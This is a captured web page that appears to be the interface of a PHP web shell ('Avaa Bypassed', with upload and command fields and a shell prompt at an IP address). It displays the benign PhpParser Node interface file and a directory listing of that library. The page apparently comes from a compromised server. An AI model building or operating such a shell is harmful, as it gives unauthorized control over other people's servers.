404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.135.208.76: ~ $
<?php declare(strict_types=1);

namespace PhpParser;

interface Node
{
    /**
     * Gets the type of the node.
     *
     * @return string Type of the node
     */
    public function getType() : string;

    /**
     * Gets the names of the sub nodes.
     *
     * @return array Names of sub nodes
     */
    public function getSubNodeNames() : array;

    /**
     * Gets line the node started in (alias of getStartLine).
     *
     * @return int Start line (or -1 if not available)
     */
    public function getLine() : int;

    /**
     * Gets line the node started in.
     *
     * Requires the 'startLine' attribute to be enabled in the lexer (enabled by default).
     *
     * @return int Start line (or -1 if not available)
     */
    public function getStartLine() : int;

    /**
     * Gets the line the node ended in.
     *
     * Requires the 'endLine' attribute to be enabled in the lexer (enabled by default).
     *
     * @return int End line (or -1 if not available)
     */
    public function getEndLine() : int;

    /**
     * Gets the token offset of the first token that is part of this node.
     *
     * The offset is an index into the array returned by Lexer::getTokens().
     *
     * Requires the 'startTokenPos' attribute to be enabled in the lexer (DISABLED by default).
     *
     * @return int Token start position (or -1 if not available)
     */
    public function getStartTokenPos() : int;

    /**
     * Gets the token offset of the last token that is part of this node.
     *
     * The offset is an index into the array returned by Lexer::getTokens().
     *
     * Requires the 'endTokenPos' attribute to be enabled in the lexer (DISABLED by default).
     *
     * @return int Token end position (or -1 if not available)
     */
    public function getEndTokenPos() : int;

    /**
     * Gets the file offset of the first character that is part of this node.
     *
     * Requires the 'startFilePos' attribute to be enabled in the lexer (DISABLED by default).
     *
     * @return int File start position (or -1 if not available)
     */
    public function getStartFilePos() : int;

    /**
     * Gets the file offset of the last character that is part of this node.
     *
     * Requires the 'endFilePos' attribute to be enabled in the lexer (DISABLED by default).
     *
     * @return int File end position (or -1 if not available)
     */
    public function getEndFilePos() : int;

    /**
     * Gets all comments directly preceding this node.
     *
     * The comments are also available through the "comments" attribute.
     *
     * @return Comment[]
     */
    public function getComments() : array;

    /**
     * Gets the doc comment of the node.
     *
     * @return null|Comment\Doc Doc comment object or null
     */
    public function getDocComment();

    /**
     * Sets the doc comment of the node.
     *
     * This will either replace an existing doc comment or add it to the comments array.
     *
     * @param Comment\Doc $docComment Doc comment to set
     */
    public function setDocComment(Comment\Doc $docComment);

    /**
     * Sets an attribute on a node.
     *
     * @param string $key
     * @param mixed  $value
     */
    public function setAttribute(string $key, $value);

    /**
     * Returns whether an attribute exists.
     *
     * @param string $key
     *
     * @return bool
     */
    public function hasAttribute(string $key) : bool;

    /**
     * Returns the value of an attribute.
     *
     * @param string $key
     * @param mixed  $default
     *
     * @return mixed
     */
    public function getAttribute(string $key, $default = null);

    /**
     * Returns all the attributes of this node.
     *
     * @return array
     */
    public function getAttributes() : array;

    /**
     * Replaces all the attributes of this node.
     *
     * @param array $attributes
     */
    public function setAttributes(array $attributes);
}

Filemanager

Name Type Size Permission Actions
Builder Folder 0755
Comment Folder 0755
ErrorHandler Folder 0755
Internal Folder 0755
Lexer Folder 0755
Node Folder 0755
NodeVisitor Folder 0755
Parser Folder 0755
PrettyPrinter Folder 0755
Builder.php File 203 B 0644
BuilderFactory.php File 10.84 KB 0644
BuilderHelpers.php File 9.54 KB 0644
Comment.php File 7.37 KB 0644
ConstExprEvaluationException.php File 86 B 0644
ConstExprEvaluator.php File 9.05 KB 0644
Error.php File 4.92 KB 0644
ErrorHandler.php File 294 B 0644
JsonDecoder.php File 3.3 KB 0644
Lexer.php File 23.51 KB 0644
NameContext.php File 9.69 KB 0644
Node.php File 3.88 KB 0644
NodeAbstract.php File 5.03 KB 0644
NodeDumper.php File 6.69 KB 0644
NodeFinder.php File 2.39 KB 0644
NodeTraverser.php File 10.34 KB 0644
NodeTraverserInterface.php File 629 B 0644
NodeVisitor.php File 1.98 KB 0644
NodeVisitorAbstract.php File 438 B 0644
Parser.php File 628 B 0644
ParserAbstract.php File 41.22 KB 0644
ParserFactory.php File 1.58 KB 0644
PrettyPrinterAbstract.php File 60.3 KB 0644